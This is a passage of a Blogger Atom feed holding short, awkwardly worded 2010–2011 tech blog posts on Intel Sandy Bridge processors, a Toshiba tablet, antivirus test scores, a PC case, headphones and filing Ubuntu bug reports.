width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-7286450746688567627</id><published>2011-05-06T18:04:00.000-07:00</published><updated>2011-05-06T18:04:05.316-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Product'/><title type='text'>Sandy Bridge E Intel</title><content type='html'>Intel processors. Appears name Sandy Bridge E, expected out late in 2011. There are 2 models with quad cores and six cores.&lt;br /&gt;&lt;br /&gt;One type is not known to have speed 3.6GHz, 10MB cache with 4 cores.&lt;br /&gt;2 models are six types of cores, has a speed of 3.3Ghz and 3.2GHz. 15MB and 12MB of cache memory, both in unlocked.&lt;br /&gt;&lt;br /&gt;Sandy Bridge the latest model still uses 32nm technology. Unless Ivy Bridge processors use to substitute for Quad Core 22nm Sandy Bridge.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/04/sandy-bridge-e-intel-processors/"&gt;thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-7286450746688567627?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/7286450746688567627/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=7286450746688567627' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7286450746688567627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7286450746688567627'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/05/sandy-bridge-e-intel.html' title='Sandy Bridge E Intel'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6914570348310810411</id><published>2011-05-05T02:15:00.000-07:00</published><updated>2011-05-05T02:15:20.314-07:00</updated><title type='text'>Regza AT300</title><content type='html'>Toshiba Regza AT300 (Japanese version) is designed very serious. Look pretty and want to compete from Xoom a Motorola product. Display screen LED technology is supported by REGZA Tablet Specifications AT300&lt;br /&gt;&lt;br /&gt;Android OS 3.0 Honeycomb&lt;br /&gt;10.1-inch LCD “Adaptive Display” for better contrast under sunlight (1.280 × 800 resolution)&lt;br /&gt;LED backlight&lt;br /&gt;Tegra 2 (1GHz) CPU&lt;br /&gt;1GB RAM&lt;br /&gt;&lt;br /&gt;16GB internal memory&lt;br /&gt;IEEE 802.11b/g/n Wi-Fi, Bluetooth&lt;br /&gt;Rear 5MP camera, 2MP camera front&lt;br /&gt;interfaces: HDMI, SD, miniUSB, USB&lt;br /&gt;“REGZA Apps Connect” function (the tablet “integrates” REGZA with other devices / see below)&lt;br /&gt;battery life: 7 hours&lt;br /&gt;weight: 765g, size: 177 × 273 × 15.8mm&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/04/toshiba-regza-at300-review/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6914570348310810411?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6914570348310810411/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6914570348310810411' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6914570348310810411'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6914570348310810411'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/05/regza-at300.html' title='Regza AT300'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-2039174170655743164</id><published>2011-04-22T03:03:00.000-07:00</published><updated>2011-04-22T03:03:17.825-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows 7'/><category scheme='http://www.blogger.com/atom/ns#' term='Antivirus'/><title type='text'>The Best Antivirus For Windows 7</title><content type='html'>AVtest publishing capabilities Antivirus product. Test carried out for Windows 7 in the first quarter of this year. &lt;br /&gt;&lt;br /&gt;Below is a list of antivirus software that passes the test with Windows 7 &lt;br /&gt;&lt;br /&gt;Avast: Free AntiVirus 5.0 and 6.0&lt;br /&gt;AVG: Internet Security 10.0&lt;br /&gt;Avira: Premium Security Suite 10.0&lt;br /&gt;BitDefender: Internet Security Suite 2011&lt;br /&gt;BullGuard: Internet Security 10.0&lt;br /&gt;Eset: Smart Security 4.2&lt;br /&gt;F-Secure: Internet Security 2011&lt;br /&gt;G Data Internet Security 2011&lt;br /&gt;Kaspersky: Internet Security 2011&lt;br /&gt;Microsoft: Security Essentials 2.0&lt;br /&gt;MicroWorld: eScan Internet Security Suite 11.0&lt;br /&gt;Panda: Internet Security 2011&lt;br /&gt;Sophos: Endpoint Security and Control 9.5&lt;br /&gt;Sunbelt: VIPRE Antivirus Premium 4.0&lt;br /&gt;Symantec: Norton Internet Security 2011&lt;br /&gt;Trend Micro: Titanium Internet Security 2011&lt;br /&gt;Webroot: Complete Internet Security 7.0 &lt;br /&gt;&lt;br /&gt;BitDefender, F-Secure and Symantec entered score Top 15&lt;br /&gt;G Data, Kaspersky, and Panda get a score of 14&lt;br /&gt;AVG score of 13.5&lt;br /&gt;Sophos 13&lt;br /&gt;ESET, Trend Micro, and Webroot, score 12.5&lt;br /&gt;GFI only get 12 score&lt;br /&gt;Avast, Avira, eScan, and Microsoft was awarded a score of 11.5&lt;br /&gt;And BullGuard bottom with a score of 11&lt;br /&gt;&lt;br /&gt;There are 5 who failed the test antivirus test in Windows 7&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;CA: Internet Security Suite 2011&lt;br /&gt;Comodo: Premium Internet Security 5.0 and 5.3&lt;br /&gt;McAfee: Total Protection 2011&lt;br /&gt;Norman: Security Suite Pro 8.0&lt;br /&gt;PC Tools: Internet Security 2011 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The lowest figures are McAfee and Norman, score 8.5. Both have error alerts on specific software.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/04/avtest-versions-for-windows-7/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-2039174170655743164?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/2039174170655743164/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=2039174170655743164' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2039174170655743164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2039174170655743164'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/04/best-antivirus-for-windows-7.html' title='The Best Antivirus For Windows 7'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-3294955697243737747</id><published>2011-04-06T00:06:00.000-07:00</published><updated>2011-04-06T00:06:25.030-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hardware'/><title type='text'>Sandy Bridge Processors Core i5 2300</title><content type='html'>Intel issued a three Sandy Bridge processors Core i5 models 2300, 2400 and Core Core i5 i5 2500 for desktops. According XbitLabs, Core i5 2500K can be driven up to 4.2Ghz from 3.4Ghz original speed without changing the processor voltage.&lt;br /&gt;&lt;br /&gt;Top speed but needs to increase its reach 4.7Ghz processor Vcore to 1.4V. During the test, XbitLabs said temperature stable and never exceeded 80 degrees.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;But there are records that need to be known. Processors in the trial is the revision D, while the processors on the market is a possible revision D2 processors is faster than that in the test. And XbitLabs Unlock using processor type, making it easy to get the speed of 4.2Ghz with 100MHz x 42 multiplier.&lt;br /&gt;&lt;br /&gt;Below is the comparison of the speed of processors Core i5 2300, Core and Core i5 i5 2400 2500 with other processors&lt;br /&gt;Test for gaming, editing and maximum power usage.&lt;br /&gt;&lt;br /&gt;(&lt;a href="http://www.thatcoin.com/2011/01/core-i5-2300-core-i5-2400-and-core-i5-2500-reviews/"&gt;Thatcoin.com&lt;/a&gt;]&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-3294955697243737747?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/3294955697243737747/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=3294955697243737747' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3294955697243737747'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3294955697243737747'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/04/sandy-bridge-processors-core-i5-2300.html' title='Sandy Bridge Processors Core i5 2300'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-3602935453697370377</id><published>2011-03-14T01:38:00.000-07:00</published><updated>2011-03-14T01:38:54.062-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hardware'/><title type='text'>Cooler Master HAF 912</title><content type='html'>HAF is a meaningful High Air Flow. In addition to X HAF full size tower to enthusiast users, Cooler Master designed the product mainstream gamers with artwork HAF 912 chassis.&lt;br /&gt;&lt;br /&gt;Having arrived in the homeland HAF 912 Advance edition is more comprehensive with the standard version. Striking differences:&lt;br /&gt;Black interior finish (standard = no black finish)&lt;br /&gt;Front panel USB 3.0 (standard = none)&lt;br /&gt;Side panel windows (standard = none)&lt;br /&gt;Bundle 200mm top fan (standard = none)&lt;br /&gt;Front 200mm fan with LED (Standard 120mm)&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Width 22cm chassis and CPU fan is ready for large size&lt;br /&gt;Among HAF 912 unboxing and review, the casing is suitable for gamers with high excess air flow, masculine design, handsome and robust, functioning well casing, cable management, two 200mm fan respectively top and front, 120mm rear fan, interior fierce with black finishing, high-mid tower chassis but with the interior of relief, features USB 3.0 front panel of the casing and the upper HDD cage can be removed for long VGA.&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2011/02/unboxing-and-cooler-master-haf-912-advanced-casing/"&gt;Thatcoin.com&lt;/a&gt; ] &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-3602935453697370377?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/3602935453697370377/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=3602935453697370377' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3602935453697370377'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3602935453697370377'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/03/cooler-master-haf-912.html' title='Cooler Master HAF 912'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-1110671438101827524</id><published>2011-02-27T00:13:00.001-08:00</published><updated>2011-02-27T00:13:38.299-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hardware'/><title type='text'>Core i7-2640LM</title><content type='html'>Intel prepares Sandy Bridge processor type, type low power based Huron River. Type Core i7-2640LM, 2620LM, 2630UM, 2610LM and I5-2530UM&lt;br /&gt;&lt;br /&gt;Another class notebook processors Core i7-2920XM, 2820QM, 2720QM and 2620M, and I5-2540M, 2520M.&lt;br /&gt;For entry-level Intel Celeron processors remove the B801.&lt;br /&gt;&lt;br /&gt;The latest processors from Intel with Platform Huron River is only intended to 32nm Sandy Bridge. Pairs of these processors use the chipset QS67/QM67. And additional equipment other than Centrino Ultimate N / Advanced-N 6000 or 6000 Advanced-N/WiMAX Centrino for wireless.&lt;br /&gt;Display technology using a Wireless Display or abbreviated widi&lt;br /&gt;&lt;br /&gt;[ &lt;a href="http://www.thatcoin.com/2010/11/intel-update-sandy-bridge-core-i7-2640lm/"&gt;Thatcoin.com&lt;/a&gt; ]&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-1110671438101827524?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/1110671438101827524/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=1110671438101827524' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/1110671438101827524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/1110671438101827524'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/02/core-i7-2640lm.html' title='Core i7-2640LM'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-9222057660640560052</id><published>2011-02-08T22:54:00.000-08:00</published><updated>2011-08-22T00:31:33.169-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hardware'/><title type='text'>Intel Turbo Boost</title><content type='html'>Technology computer enthusiasts overclock demand, has many years of technological development overclock done. The goal is to buy cheap stuff, but got the same speed or performance, such as expensive goods.&lt;br /&gt;&lt;br /&gt;Originally done by modifying the game overclocked processors, and start reaching the world’s memory. All products are high-end market entry. Cheap processors speed up as high as possible to safe limits. Memory using the highest performance. And finally a reliable cooling system to cool the processor performance.&lt;br /&gt;&lt;br /&gt;The goal is only one, getting as high as possible processor capabilities&lt;br /&gt;with a cheaper price.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Since Intel introduced Sandy Bridge, perhaps the word overclock gives a different meaning.&lt;br /&gt;&lt;br /&gt;Sandy Bridge have direct on-chip clock generator or called PSB. When upgraded will affect other components like SATA, USB and more.&lt;br /&gt;&lt;br /&gt;Intel offers another solution for enthusiast overclocking, called the series K. Features that are planted Turbo Boost, processors will overclock itself when needed. This eliminates the need to overclock because there is already inside the processor.&lt;br /&gt;&lt;br /&gt;For some people still remain attractive using overclocked system. Only cost is not comparable to what they get. Sandy Bridge E processors and chipsets Patsburg have no limits. But what price should motherboard that they have, of course the price is not cheap. Even Intel prepares K series, where the processors are not locked to the overclock. Finally, overclock more expensive than 10 years ago.&lt;br /&gt;&lt;a href="http://adf.ly/2NRTw" target="_blank"&gt;What is Sandy Bridge&lt;/a&gt; ?&lt;br /&gt;article source &lt;a href="http://www.thatcoin.com/2011/02/intel-turbo-boost-review/"&gt;thatcoin.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-9222057660640560052?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/9222057660640560052/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=9222057660640560052' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/9222057660640560052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/9222057660640560052'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2011/02/intel-turbo-boost.html' title='Intel Turbo Boost'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-5416380712946121318</id><published>2010-09-11T05:00:00.000-07:00</published><updated>2010-09-11T05:00:22.616-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gadget'/><title type='text'>Sennheizer HD 598 headphones</title><content type='html'>Sennheizer HD 598 headphones have a sound output of 12 – 38.5Khz. Noise level of harmony for these headphones just under 0.1%.&lt;br /&gt;&lt;br /&gt;Sennheizer headphones HD 558 headphones enters as a lower middle-class votes from the 15 – 28Khz.&lt;br /&gt;&lt;br /&gt;Smaller model is Sennheizer HD 518 headphones with a voice range of 14 – 26Khz.&lt;br /&gt;Source &lt;a href="http://www.thatcoin.com/2010/09/sennheizer-hd-headphones/"&gt;Thatcoin&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-5416380712946121318?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/5416380712946121318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=5416380712946121318' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5416380712946121318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5416380712946121318'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/09/sennheizer-hd-598-headphones.html' title='Sennheizer HD 598 headphones'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-8482820399844836880</id><published>2010-09-11T04:57:00.000-07:00</published><updated>2010-09-11T04:57:29.615-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><title type='text'>Battlefield Bad Company 2</title><content type='html'>Beginning of the game Battlefield Bad Company 2 will be surprised with the look of the game with beautiful graphics. Crysis like appearance with a large enough map.&lt;br /&gt;&lt;br /&gt;To infiltrate the headquarters of the Japanese army, to rescue a Japanese scientist on an island. Bad Company troops tried to enter the enemy’s headquarters to present graphs and beautiful scenery of tropical forests.&lt;br /&gt;&lt;a href="http://www.thatcoin.com/2010/09/battlefield-bad-company-2-game-review/#more-213"&gt;Source and read more&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-8482820399844836880?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/8482820399844836880/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=8482820399844836880' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8482820399844836880'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8482820399844836880'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/09/battlefield-bad-company-2.html' title='Battlefield Bad Company 2'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-7883845434759358685</id><published>2010-08-14T02:21:00.000-07:00</published><updated>2010-08-14T02:21:48.391-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Submit a Bug Report</title><content type='html'>All software has bugs, and Ubuntu is no exception. Here's how you can help improve Ubuntu by submitting a bug report. &lt;br /&gt;It's an unfortunate rule of computing: all software has bugs. The Ubuntu developers and folks at Canonical have done their best to minimize the amount of bugs and their impact in the latest release of Ubuntu, but they can't catch everything. However, one of the major advantages of open source software is that you have an opportunity to help improve the software by filing a bug. The process of filing a bug is surprisingly easy and, despite the name, can be a rather fun and interactive process.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Getting Ready to File the Bug&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Before you actually go ahead and file a bug, you should run through a little checklist to better assist you in the process. The key thing to remember is that every piece of information you can embed in the bug report will help the people fixing your bug. These people may not have the same hardware as you, and there may be other difficulties in reproducing your bug, so every clue you can provide will help them in solving the mystery.&lt;br /&gt;First, figure out what your problem is, in plain language. Ask yourself what's broken and what the proper behavior should be. Also, is there anything the software is doing that it shouldn't be doing? If you can capture logs or output from a terminal, save that informationyou can attach it to the bug. If you have knowledge on how to attach a debugger to your process, you may want to include output from that as well. Ensure you've got the package name of the piece of software you're having trouble with. Save all this information so you can have it handy when it's time to file the bug report.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Creating a Malone Account&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Ubuntu's method of filing a bug report is via a web-enabled application called Malone is part of Launchpad (https://launchpad.net/malone/), and the unique thing about Malone compared to other bugtrackers is that Malone tracks not only Ubuntu bugs, but upstream bugs as well as bugs in other distros. This helps to enable another benefit of open source software: the fact that "given enough eyes, all bugs are shallow." In a nutshell, this means that if one distro pinpoints and fixes a bug, all other distros that use Malone can see the fix, and everyone benefits.&lt;br /&gt;On your first visit to Malone, you'll need to create an account for yourself so you can post to the bug database. Simply click on the Log In/Register link in the upper-righthand corner and follow the instructions to register an account.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;You can search the Malone bug database without creating an account, but posting new information to the database requires an account.&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;Searching for Your Bug&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;You've collected your data and created your account: now it's almost time to file your bug. There's just one thing left to do: search for your bug. Yes, that's right: you should always search the bug database for your bug (or one just like it) before you go ahead and create a new one. If you search for a bug with similar symptoms and criteria as your bug, there's a good chance you'll find a bug report already there. You can check and see if the behavior of the bug is the same, if the developers are stalled waiting for a piece of information, or if the bug's already been fixed and a patch is available.&lt;br /&gt;Additionally, if you do see a bug report that resembles your bug, you can add your comments and information to that bug. That will help consolidate things and let the developers know that multiple people are experiencing that issue. Nothing is more frustrating for developers than duplicate bug reports (well, not entirely; poor bug reports are even worse!).&lt;br /&gt;&lt;br /&gt;We've searched for a gnome-power-manager issue that we happened to run into. As it happened, there was a pre-existing bug already opened, and the developer was awaiting information. We were able to add our own comments to the bug and give the developer some of the information he was looking for. That's open source in action!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Filing Your Bug Report&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;If your bug isn't already in the bug database, then it's time to report it. Log in to Malone if you haven't already, and go to the "Report a bug about a package" page (https://launchpad.net/malone/bugs/+package). Select Ubuntu from the drop-down menu and enter the package name in the appropriate field. Next, enter the bug summary. You'll want to be as descriptive as you can in one sentence. Don't say, "gnome-power-manager is broken" or, worse, "battery icon doesn't work." Either of those two summary lines will ensure that your bug is rejected. A more appropriate summary line would say, "gnome-power-manager icon does not show AC power status."&lt;br /&gt;Next, fill out the description of the problem. Be as objective and descriptive as you can, and include all the notes mentioned earlier. Take your time, and be sure to include every detail. We can't stress enough the importance of including not only what's wrong, but what the software is doing right. Include any debug information you may have gathered.&lt;br /&gt;Once you've done that, you can submit your bug by clicking the Add button. There's a checkbox on the site to keep the contents of the bug confidential, so you'll want to check &lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-7883845434759358685?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/7883845434759358685/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=7883845434759358685' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7883845434759358685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7883845434759358685'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/08/submit-bug-report.html' title='Submit a Bug Report'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-4314898660620198988</id><published>2010-08-13T08:25:00.000-07:00</published><updated>2010-08-13T08:25:08.850-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software'/><title type='text'>Interior Design Software</title><content type='html'>Application of interior design that is perfect for those of you who are interested in studying the profession as an interior designer. The interior designer application has a variety of features, easy to use when they wanted to design a room in the home, from furniture layout, wall colors, to color in home furnishings, etc.&lt;br /&gt;There are four main panel as a work space that pretty easy to understand so that makes it easy for you as a beginner for ideas of creativity.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.thatcoin.com/2010/08/studied-interior-design-with-software/"&gt;Source&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-4314898660620198988?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/4314898660620198988/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=4314898660620198988' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4314898660620198988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/4314898660620198988'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/08/interior-design-software.html' title='Interior Design Software'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-5426866481257107063</id><published>2010-08-09T08:20:00.000-07:00</published><updated>2010-08-09T08:20:23.402-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Server'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM'/><title type='text'>IBM Power I</title><content type='html'>IBM Power I, which runs on IBM Power Systems servers, offering an architecture with high scalability, immune to the virus, and a proven reputation for reliability in terms of business. All are included in IBM Power 